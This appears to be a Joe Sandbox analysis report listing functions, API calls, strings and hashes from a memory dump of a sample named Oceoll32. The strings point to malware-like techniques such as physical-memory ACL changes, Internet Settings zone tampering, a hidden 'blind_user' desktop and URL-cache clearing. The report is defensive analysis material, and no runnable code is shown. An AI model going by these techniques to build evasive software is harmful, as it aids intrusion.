Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 0040288D

GetVersion.KERNEL32 ref: 00402E22
LoadLibraryA.KERNEL32 ref: 00402E91
GetProcAddress.KERNEL32 ref: 00402EC5
IsBadReadPtr.KERNEL32(?,00001000), ref: 00402F75
GlobalMemoryStatus.KERNEL32(?), ref: 00402F9F
CloseHandle.KERNEL32(?), ref: 00403065
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 004030EA
VirtualQuery.KERNEL32(?,?,0000001C), ref: 0040315B
IsBadWritePtr.KERNEL32(00000000,00001000), ref: 004031F1

Strings

kernel32.dll, xrefs: 004030E5

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: AddressProc$Handle$Module$CloseGlobalLibraryLoadMemoryQueryReadStatusVersionVirtualWrite
String ID: kernel32.dll
API String ID: 2089743848-1793498882
Opcode ID: 4f42c9a603f3b22a608ddecb7cf3016b4a0286024c9d1ec82fce5a6e54f44313
Instruction ID: cfd5926590b061e949c3a24607155209ead47d6dc4f6dfca132d0ef3b1a5cdf0
Opcode Fuzzy Hash: 4f42c9a603f3b22a608ddecb7cf3016b4a0286024c9d1ec82fce5a6e54f44313
Instruction Fuzzy Hash: F6F19070D042B88BEB328F64DD483E9BBB1AB55306F0481EBD588662D2C2B85FC5CF55

Function 004037AA Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 53COMMON

Download Yara Rule

APIs

printf.CRTDLL([length=%i] [summ=%i],?,00000000), ref: 004037DD
printf.CRTDLL(HEX: ,[length=%i] [summ=%i],?,00000000), ref: 004037EE
printf.CRTDLL(%02X ,00000000), ref: 00403804
printf.CRTDLL(TXT: '%s',?), ref: 0040382C

Strings

[length=%i] [summ=%i], xrefs: 004037D8
X4, xrefs: 004037E2
HEX: , xrefs: 004037E9
TXT: '%s', xrefs: 00403827
%02X , xrefs: 004037FF

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: printf
String ID: TXT: '%s'$%02X $HEX: $X4$[length=%i] [summ=%i]
API String ID: 3524737521-4004101572
Opcode ID: ca4ded32e23903f7249d6c5dbeb3a47121f77b3b45ed42eb0d7ff3160f68b428
Instruction ID: a8ef6db4a05ad48ab0456940bf437e850f92713de92630681f76b68ebadef0f7
Opcode Fuzzy Hash: ca4ded32e23903f7249d6c5dbeb3a47121f77b3b45ed42eb0d7ff3160f68b428
Instruction Fuzzy Hash: 88016B62A04254BED7006FA7CC82A6F7FDCAB4175AF2080BEF545730C0D1B86F41D6A6

Function 004054D7 Relevance: 15.1, APIs: 10, Instructions: 109stringthreadmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 004054F1
lstrlenA.KERNEL32(?,?), ref: 00405505
lstrlenA.KERNEL32(?,?,?), ref: 00405513
lstrlenA.KERNEL32(?,?,?,?), ref: 0040551F
LocalAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 0040554B
memcpy.CRTDLL(00000001,?,?,00000000,?,?,?,?,?), ref: 0040556A
CreateThread.KERNEL32(00000000,00000000,Function_00005133,00000000,00000000,?), ref: 004055DE
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?,-00000005,?), ref: 004055EE
GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?), ref: 004055F8
CloseHandle.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006), ref: 004055FE

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: lstrlen$Thread$AllocCloseCodeCreateExitHandleLocalObjectSingleWaitmemcpy
String ID:
API String ID: 2845097592-0
Opcode ID: 7ec933356805a86d395f76af41b9b2d9f18e99f1d3eeeb5c371ae48cad7448a7
Instruction ID: 017c82820a2f145177c9e28e2e3f5c0bebc6ad2cdfe5315ab2aa4ad5daf85086
Opcode Fuzzy Hash: 7ec933356805a86d395f76af41b9b2d9f18e99f1d3eeeb5c371ae48cad7448a7
Instruction Fuzzy Hash: 5E31D721A04159BACF01DFA6CC01AAEB7F9AF44318F144476F904E7291E63CDB15C7A9

Function 00405F5B Relevance: 13.6, APIs: 9, Instructions: 64stringthreadmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00405F73
lstrlenA.KERNEL32(?,?), ref: 00405F7E
LocalAlloc.KERNEL32(00000040,?,?,?), ref: 00405F8D
lstrlenA.KERNEL32(?,00000000,?,00000040,?,?,?), ref: 00405FA2
DeleteUrlCacheEntry.WININET(?), ref: 00405FB5
CreateThread.KERNEL32(00000000,00000000,Function_00005C09,00000000,00000000,?), ref: 00405FCA
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040,?,?), ref: 00405FDD
GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040), ref: 00405FE7
CloseHandle.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?), ref: 00405FED

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: lstrlen$Thread$AllocCacheCloseCodeCreateDeleteEntryExitHandleLocalObjectSingleWait
String ID:
API String ID: 794401840-0
Opcode ID: 03fc3e79f5e594bfaf1f893bda151e66fa8c5b5e213fcd764589a016d7372ae4
Instruction ID: 5ee1198a60b0fc2a8532ff5616a25e8349e08cf473eab22e95dc85017e90c3ca
Opcode Fuzzy Hash: 03fc3e79f5e594bfaf1f893bda151e66fa8c5b5e213fcd764589a016d7372ae4
Instruction Fuzzy Hash: B011CA71A082447BD701F6668C42EAFB76DDF85368F144476F600B71C2D678AF0147E9

Function 0040289A Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 99COMMON

Download Yara Rule

APIs

GetSecurityInfo.ADVAPI32(?,00000006,?,00000000,00000000,?,00000000,?), ref: 00402976
SetEntriesInAclA.ADVAPI32(00000001,00000002,?,?), ref: 00402988
SetSecurityInfo.ADVAPI32(?,00000006,?,00000000,00000000,?,00000000,?,00000006,?,00000000,00000000,?,00000000,?), ref: 004029A3
CloseHandle.KERNEL32(?,?,00000006,?,00000000,00000000,?,00000000,?,00000006,?,00000000,00000000,?,00000000,?), ref: 004029B1

Strings

@, xrefs: 004028DD
CURRENT_USER, xrefs: 00402914
\device\physicalmemory, xrefs: 004028B7

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: InfoSecurity$CloseEntriesHandle
String ID: @$CURRENT_USER$\device\physicalmemory
API String ID: 405656561-3357994103
Opcode ID: 3f106b48de9bb5ba9ca254209248b2c107f34978da584956db3145db2ea5644b
Instruction ID: 89d45d45e0a184fa7970b295066ffccd564a705ae1855cc5323f3f658fcd5c06
Opcode Fuzzy Hash: 3f106b48de9bb5ba9ca254209248b2c107f34978da584956db3145db2ea5644b
Instruction Fuzzy Hash: 2A41EB71E4030DAFEB108FD4DC85BEEB7B9FB04319F50403AEA00BA191D7B9595A8B59

Function 0040509B Relevance: 12.0, APIs: 1, Strings: 7, Instructions: 43COMMON

Download Yara Rule

APIs

sprintf.CRTDLL(?,SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u,00000000), ref: 004050CD

Strings

Software\Microsoft\Windows\CurrentVersion\Internet Settings, xrefs: 004050FF
1601, xrefs: 004050D4
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u, xrefs: 004050C1
GlobalUserOffline, xrefs: 004050FA
BrowseNewProcess, xrefs: 00405113
yes, xrefs: 0040510E
.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess, xrefs: 00405118

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: sprintf
String ID: .DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess$1601$BrowseNewProcess$GlobalUserOffline$SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u$Software\Microsoft\Windows\CurrentVersion\Internet Settings$yes
API String ID: 590974362-546450379
Opcode ID: ad57bd7a5e5ee7174c091d0a3ea72984deb32bb5560bbbda773b8a609c7be674
Instruction ID: cd0aaffbc0bd71aa605591c0976343fec0ffbebd6d6d4fedce8ce2f9217411d7
Opcode Fuzzy Hash: ad57bd7a5e5ee7174c091d0a3ea72984deb32bb5560bbbda773b8a609c7be674
Instruction Fuzzy Hash: 24F07DF2F883587EE710A1699C47F8D765907A1704FA400A7BA44B10C2D0FE56C6826D

Function 004077E4 Relevance: 10.6, APIs: 7, Instructions: 83windowCOMMON

Download Yara Rule

APIs

SetFocus.USER32 ref: 00407826
SetFocus.USER32 ref: 00407839
SetFocus.USER32 ref: 00407852
SetFocus.USER32 ref: 00407865
SetFocus.USER32 ref: 00407878
SetFocus.USER32 ref: 0040788B
CallWindowProcA.USER32(00000000,?,?,?,?), ref: 00407909

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: Focus$CallProcWindow
String ID:
API String ID: 2401821148-0
Opcode ID: 92e1ce8f7ee7a46a278bda77c005b4e0a5389e500612bd3ca87d360d572643d3
Instruction ID: 67d25c2989ca0d32993d4aa71a0b11dc39683739a3ff9c0c7d6bcfde353c753a
Opcode Fuzzy Hash: 92e1ce8f7ee7a46a278bda77c005b4e0a5389e500612bd3ca87d360d572643d3
Instruction Fuzzy Hash: 6F318233E082149BDF21FB29ED848DA7726A751324715C43AE550B32B1DB787C91CB6E

Function 004036B3 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000), ref: 004036D7
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 004036F4
WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403715
WriteFile.KERNEL32(00000000,0042CC6C,00000002,?,00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000), ref: 00403728
CloseHandle.KERNEL32(00000000,00000000,0042CC6C,00000002,?,00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?), ref: 00403734

Strings

Y&-v, xrefs: 004036BA

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: File$Write$CloseCreateHandlePointer
String ID: Y&-v
API String ID: 2529654636-852306816
Opcode ID: 1a2ee31b6e64b1819939f0b424d9492dfa5bc2d8a36479f3b8c11624ee1f3d36
Instruction ID: 393fb1fac6dfb6d7043d4134058e676a256c67ba5a84656a07003a75d011006f
Opcode Fuzzy Hash: 1a2ee31b6e64b1819939f0b424d9492dfa5bc2d8a36479f3b8c11624ee1f3d36
Instruction Fuzzy Hash: A401A772B4461439F62165758C43F9E365D8B41B78F208136F711BB1C1D6F97E0142BD

Function 00405613 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

FindFirstUrlCacheEntryA.WININET(*.*,?,00001F40), ref: 00405654
_stricmp.CRTDLL(?,?), ref: 00405679
FindNextUrlCacheEntryA.WININET(00000000,?,00001F40), ref: 004056C0
_stricmp.CRTDLL(?,?), ref: 004056D6

Strings

*.*, xrefs: 0040564F

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: CacheEntryFind_stricmp$FirstNext
String ID: *.*
API String ID: 747601842-438819550
Opcode ID: ba5afd5151c0520d6d715a10c5df759dc41a82144f0bc2f8a3a4ef8e8a54dfaf
Instruction ID: aa6d97de36eacb02400b0bc5d5be45fc0d4f636131057f9c0ab70f2a458f06eb
Opcode Fuzzy Hash: ba5afd5151c0520d6d715a10c5df759dc41a82144f0bc2f8a3a4ef8e8a54dfaf
Instruction Fuzzy Hash: AD21CF72E1005AABCB109A65CC018FBB6EEEB44398F1404F3F108F7290EB799E418F65

Function 0040431F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00404341
GetThreadDesktop.USER32(00000000), ref: 00404347
CreateDesktopA.USER32(blind_user,00000000,00000000,00000000,000000C7,00000000), ref: 00404376
SetThreadDesktop.USER32 ref: 00404394

Strings

blind_user, xrefs: 00404371

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: DesktopThread$CreateCurrent
String ID: blind_user
API String ID: 2384851093-487808672
Opcode ID: f5dbc74db38e7769b0145d7bd92762358955ae931e1e69e9e23be6df9a4e239d
Instruction ID: 282a6fb7077f79b337956a50597d570250b08ff90f4541f666399335e01d3b83
Opcode Fuzzy Hash: f5dbc74db38e7769b0145d7bd92762358955ae931e1e69e9e23be6df9a4e239d
Instruction Fuzzy Hash: 2C018471B442006FDB14B73E9C5276FA6D95BC0314F64403BA602F72D0E9B899018A5D

Function 00403840 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

printf.CRTDLL(HEX: ), ref: 00403863
printf.CRTDLL(%02X ,00000000), ref: 00403877
printf.CRTDLL(0042CC3A), ref: 00403890

Strings

HEX: , xrefs: 0040385E
%02X , xrefs: 00403872

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: printf
String ID: %02X $HEX:
API String ID: 3524737521-2568639716
Opcode ID: 20ec43f9d3281b237926bfbb5e092365326a766f922892e0b88cafedccc6c182
Instruction ID: 8eff4c8c66366255d0771bcdb7d8d21a427f9234d78b176c67630138abebef86
Opcode Fuzzy Hash: 20ec43f9d3281b237926bfbb5e092365326a766f922892e0b88cafedccc6c182
Instruction Fuzzy Hash: 43F0E972F05214BBD704DB9ADC4286E77A9DB9236473080FBF804631C0E9755F0086A9

Function 00403BBE Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

APIs

memset.CRTDLL(?,00000090,00000008,56CC39D8,-0042AA50,297D09F2,00000000), ref: 00403C8B
memcpy.CRTDLL(?,-0042AA50,00000000,?,00000090,00000008,56CC39D8,-0042AA50,297D09F2,00000000), ref: 00403CAE
memcpy.CRTDLL(-0042AA50,?,00000006,?,-0042AA50,00000000,?,00000090,00000008,56CC39D8,-0042AA50,297D09F2,00000000), ref: 00403CBE

Strings

MC, xrefs: 00403BFD

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: memcpy$memset
String ID: MC
API String ID: 438689982-3957011357
Opcode ID: 17c6be56fc60e202b714f164ab6214ad707b693cbc1fda5e6d8626b4e57840bc
Instruction ID: 0fabd55d67194886af3b95eda558b9f651b3b184c5d0290ca09bafd6d30b71fa
Opcode Fuzzy Hash: 17c6be56fc60e202b714f164ab6214ad707b693cbc1fda5e6d8626b4e57840bc
Instruction Fuzzy Hash: F131B661F08198AFDB00DFBDC84169EBFFA9B4A210F1480B6E884F7381D5789F059765

Function 004017AC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 004017CC
CLSIDFromString.OLE32({9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 004017DA
CoCreateInstance.OLE32(?,00000000,?,0042CD50,?,{9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 00401803

Strings

{9BA05972-F6A8-11CF-A442-00A0C90A8F39}, xrefs: 004017D5

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: CreateFromInitializeInstanceString
String ID: {9BA05972-F6A8-11CF-A442-00A0C90A8F39}
API String ID: 1245325315-1222218007
Opcode ID: 374fb238f9a8af98a0c272c884aa5e7a000c0b0753857630dac3c0af84d03f4f
Instruction ID: 52c0c8d8f8a1b88d6522b4dea913535513547713cd70a2aa0dd21656c7656eb5
Opcode Fuzzy Hash: 374fb238f9a8af98a0c272c884aa5e7a000c0b0753857630dac3c0af84d03f4f
Instruction Fuzzy Hash: E1118673B102116FE710FEF5DC81BAB7AE89B00355F10483BE644F32D1E6B8A50286B9

Function 0040109B Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

signal.CRTDLL(0000000B,00000000), ref: 0040119C
signal.CRTDLL(00000008,00000000), ref: 004011B6
signal.CRTDLL(00000000), ref: 004011D5
raise.CRTDLL ref: 004011E3

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: signal$raise
String ID:
API String ID: 372037113-0
Opcode ID: 2d1ef5de37ea69ebb4b8d4bb24db1da757c13c860f6842aad27d4f5ac914ae12
Instruction ID: baa5ba32779064c34a5af0890878b5a2dbb5619b613b0807c362cc876063d63b
Opcode Fuzzy Hash: 2d1ef5de37ea69ebb4b8d4bb24db1da757c13c860f6842aad27d4f5ac914ae12
Instruction Fuzzy Hash: 4541B475A01204DFC720DF18EC84B5677B4FB08350F44457AEE14AB3E1E734A965CBAA

Function 0040447A Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00404492
LocalAlloc.KERNEL32(00000040,-00000008,?), ref: 004044A4
sprintf.CRTDLL(?,%s%c%c,?,4EC4EBEE,?,00000040,-00000008,?), ref: 00404515

Strings

%s%c%c, xrefs: 0040450F

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: AllocLocallstrlensprintf
String ID: %s%c%c
